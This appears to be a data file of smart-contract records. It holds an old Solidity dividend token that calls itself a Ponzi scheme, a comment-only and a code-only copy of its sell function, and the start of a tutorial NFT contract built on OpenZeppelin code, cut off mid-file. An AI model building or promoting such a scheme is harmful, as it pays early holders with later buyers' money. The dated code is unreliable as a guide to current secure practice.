Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerToken; // Current contract balance in Ether uint256 public contractBalance; function EPTest() public {} // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function balanceOf(address _owner) public constant returns (uint256 balance) { return tokenBalance[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw() public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Send the dividends to the address that requested the withdraw. contractBalance = sub(contractBalance, balance); msg.sender.transfer(balance); } // Converts the Ether accrued as dividends back into EPY tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function reinvestDividends() public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint value_ = (uint) (balance); // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); // msg.sender is the address of the caller. var sender = msg.sender; // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) var res = reserve() - balance; // 10% of the total Ether sent is used to pay existing holders. var fee = div(value_, 10); // The amount of Ether used to purchase new tokens for the caller. var numEther = value_ - fee; // The number of tokens which can be purchased for numEther. var numTokens = calculateDividendTokens(numEther, balance); // The buyer fee, scaled by the scaleFactor variable. var buyerFee = fee * scaleFactor; // Check that we have tokens in existence (this should always be true), or // else you're gonna have a bad time. if (totalSupply > 0) { // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. var bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther) * (uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. var holderReward = fee * bonusCoEff; buyerFee -= holderReward; // Fee is distributed to all existing token holders before the new tokens are purchased. // rewardPerShare is the amount gained per token thanks to this buy-in. var rewardPerShare = holderReward / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken += rewardPerShare; } // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalSupply = add(totalSupply, numTokens); // Assign the tokens to the balance of the buyer. tokenBalance[sender] = add(tokenBalance[sender], numTokens); // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[sender] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellMyTokens() public { var balance = balanceOf(msg.sender); sell(balance); } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellMyTokens(); withdraw(); } // Gatekeeper function to check if the amount of Ether being sent isn't either // too small or too large. If it passes, goes direct to buy(). function fund() payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. if (msg.value > 0.000001 ether) { buy(); } else { revert(); } } // Function that returns the (dynamic) price of buying a finney worth of tokens. function buyPrice() public constant returns (uint) { return getTokensForEther(1 finney); } // Function that returns the (dynamic) price of selling a single token. function sellPrice() public constant returns (uint) { var eth = getEtherForTokens(1 finney); var fee = div(eth, 10); return eth - fee; } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor; } // Version of withdraw that extracts the dividends and sends the Ether to the caller. // This is only used in the case when there is no transaction data, and that should be // quite rare unless interacting directly with the smart contract. function withdrawOld(address to) public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Send the dividends to the address that requested the withdraw. contractBalance = sub(contractBalance, balance); to.transfer(balance); } // Internal balance function, used to calculate the dynamic reserve value. function balance() internal constant returns (uint256 amount) { // msg.value is the amount of Ether sent by the transaction. return contractBalance - msg.value; } function buy() internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); // msg.sender is the address of the caller. var sender = msg.sender; // 5% of the total Ether sent is used to pay existing holders. uint fee = div(msg.value, 20); // 5% is sent to twin contract uint fee2 = div(msg.value, 20); //contractBalance -= (msg.value - fee2); // The amount of Ether used to purchase new tokens for the caller. var numEther = msg.value - fee - fee2; // The number of tokens which can be purchased for numEther. var numTokens = getTokensForEther(numEther); // The buyer fee, scaled by the scaleFactor variable. var buyerFee = fee * scaleFactor; // Check that we have tokens in existence (this should always be true), or // else you're gonna have a bad time. if (totalSupply > 0) { // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. var bonusCoEff = (scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther) * (uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. var holderReward = fee * bonusCoEff; buyerFee -= holderReward; // Fee is distributed to all existing token holders before the new tokens are purchased. // rewardPerShare is the amount gained per token thanks to this buy-in. var rewardPerShare = holderReward / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken += rewardPerShare; } // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalSupply = add(totalSupply, numTokens); // Assign the tokens to the balance of the buyer. tokenBalance[sender] = add(tokenBalance[sender], numTokens); // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[sender] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; if( fee2 != 0 ){ twin.buy.value(fee2).gas(1000000)(msg.sender); } } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function sell(uint256 amount) internal { // Calculate the amount of Ether that the holders tokens sell for at the current sell price. var numEthersBeforeFee = getEtherForTokens(amount); // 5% of the total Ether sent is used to pay existing holders. uint fee = div(numEthersBeforeFee, 20); // 5% is sent to twin contract uint fee2 = div(numEthersBeforeFee, 20); // Net Ether for the seller after the fee has been subtracted. var numEthers = numEthersBeforeFee - fee - fee2; // *Remove* the numTokens which were just sold from the total supply. We're /definitely/ a crypto central bank. totalSupply = sub(totalSupply, amount); // Remove the tokens from the balance of the buyer. tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount); // Update the payout array so that the seller cannot claim future dividends unless they buy back in. // First we compute how much was just paid out to the seller... var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor)); // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. var etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. var rewardPerShare = etherFee / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken = add(earningsPerToken, rewardPerShare); } if( fee2 != 0 ){ twin.buy.value(fee2).gas(1000000)(msg.sender); } } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount) { return sub(balance(), ((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor)); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply); } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply); } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? var reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalSupply) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n)); } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); var z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } // The below are safemath implementations of the four arithmetic operators // designed to explicitly prevent over- and under-flows of integer values. function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // This allows you to buy tokens by sending Ether directly to the smart contract // without including any transaction data (useful for, say, mobile wallet apps). function () payable public { // msg.value is the amount of Ether sent by the transaction. if (msg.value > 0) { fund(); } else { withdrawOld(msg.sender); } } }
Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee to discouraging dumping, and means that if someone near the top sells, the fee distributed will be significant. Calculate the amount of Ether that the holders tokens sell for at the current sell price. 5% of the total Ether sent is used to pay existing holders. 5% is sent to twin contract Net Ether for the seller after the fee has been subtracted. Remove the numTokens which were just sold from the total supply. We're /definitely/ a crypto central bank. Remove the tokens from the balance of the buyer. Update the payout array so that the seller cannot claim future dividends unless they buy back in. First we compute how much was just paid out to the seller... We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if they decide to buy back in. Decrease the total amount that's been paid out to maintain invariance. Check that we have tokens in existence (this is a bit of an irrelevant check since we're selling tokens, but it guards against division by zero). Scale the Ether taken as the selling fee by the scaleFactor variable. Fee is distributed to all remaining token holders. rewardPerShare is the amount gained per token thanks to this sell. The Ether value per token is increased proportionally.
function sell(uint256 amount) internal { var numEthersBeforeFee = getEtherForTokens(amount); uint fee = div(numEthersBeforeFee, 20); uint fee2 = div(numEthersBeforeFee, 20); var numEthers = numEthersBeforeFee - fee - fee2; totalSupply = sub(totalSupply, amount); tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount); var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor)); payouts[msg.sender] -= payoutDiff; totalPayouts -= payoutDiff; if (totalSupply > 0) { var etherFee = fee * scaleFactor; var rewardPerShare = etherFee / totalSupply; earningsPerToken = add(earningsPerToken, rewardPerShare); } if( fee2 != 0 ){ twin.buy.value(fee2).gas(1000000)(msg.sender); } }
14,742,593
// SPDX-License-Identifier: MIT // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); 